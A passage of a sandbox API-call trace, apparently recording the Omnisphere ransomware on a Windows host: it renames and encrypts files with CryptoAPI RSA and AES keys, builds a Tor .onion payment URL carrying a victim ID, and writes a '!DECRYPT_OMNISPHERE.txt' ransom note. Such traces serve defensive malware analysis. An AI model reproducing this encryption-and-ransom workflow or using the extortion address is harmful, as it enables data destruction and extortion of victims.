"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hwpm-zhmbqw48.ots.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hwpm-zhmbqw48.ots.lnk.omnisphere")) returned 1 [0120.341] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk.omnisphere.id" [0120.341] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hwpm-zhmbqw48.ots.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.343] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.344] CloseHandle (hObject=0x3c0) returned 1 [0120.344] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.344] CloseHandle (hObject=0x288) returned 1 [0120.344] SetEndOfFile (hFile=0x28c) returned 1 [0120.344] FlushFileBuffers (hFile=0x28c) returned 1 [0120.348] CloseHandle (hObject=0x28c) returned 1 [0120.348] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.348] GetProcessHeap () returned 0x1600000 [0120.348] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0120.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.348] GetProcessHeap () returned 0x1600000 [0120.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1fa0 [0120.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1fa0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.349] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.349] GetProcessHeap () returned 0x1600000 [0120.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16aff88 [0120.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16aff88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.349] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.349] GetProcessHeap () returned 0x1600000 [0120.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0160 [0120.349] PathCombineW (in: pszDest=0x16c0160, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.349] GetProcessHeap () returned 0x1600000 [0120.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c83d8 [0120.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.349] WriteFile (in: hFile=0x28c, lpBuffer=0x16c83d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c83d8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.350] CloseHandle (hObject=0x28c) returned 1 [0120.350] GetProcessHeap () returned 0x1600000 [0120.350] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0120.350] GetProcessHeap () returned 0x1600000 [0120.350] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.350] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.350] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.350] CloseHandle (hObject=0x28c) returned 1 [0120.350] GetProcessHeap () returned 0x1600000 [0120.350] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.350] GetProcessHeap () returned 0x1600000 [0120.350] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bf5e0 | out: hHeap=0x1600000) returned 1 [0120.350] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc465a7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fc465a7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1fc465a7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x439, dwReserved0=0x0, dwReserved1=0xd3, cFileName="I4L_hD.lnk", cAlternateFileName="")) returned 1 [0120.350] GetProcessHeap () returned 0x1600000 [0120.350] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b948 [0120.351] PathCombineW (in: pszDest=0x167b948, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="I4L_hD.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk" [0120.351] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I4L_hD.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i4l_hd.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.351] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1081) returned 1 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.351] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] GetTickCount () returned 0x115e115 [0120.352] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668a38) returned 1 [0120.353] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.353] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.353] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.353] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0120.353] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x439, lpName=0x0) returned 0x288 [0120.353] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x439) returned 0x1480000 [0120.353] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16691a8) returned 1 [0120.354] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0120.354] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.354] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.355] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.356] 